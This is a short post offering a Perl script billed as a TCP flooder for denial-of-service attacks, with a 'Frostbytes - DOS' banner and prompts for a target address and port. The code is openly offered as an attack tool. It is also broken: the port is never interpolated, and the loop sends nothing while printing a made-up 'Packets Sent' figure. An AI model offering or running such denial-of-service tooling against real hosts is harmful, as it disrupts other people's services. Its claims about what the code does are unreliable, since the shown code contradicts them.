[PERL] Very simple tcp flooder

Code:
use IO::Socket;

system('cls');

print q{
#============================#
#----< Frostbytes - DOS >----#
#-----------[ PERL ]---------#
#============================#

};
print "[ADDRESS]: ";
	chomp ($host = <STDIN>);
print "\n[PORT]: ";
	chomp ($port = <STDIN>);
	{
	$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$host", PeerPort=>'$port') || die"Failed to connect!\n";
	
	print "Connected, commensing attack...";
	}
	Packets:
	while(1){
	$size = rand()* 8921873 * 9991988;
	print("Flooding: $host:$port~tcp Packets Sent:$size\n");
	}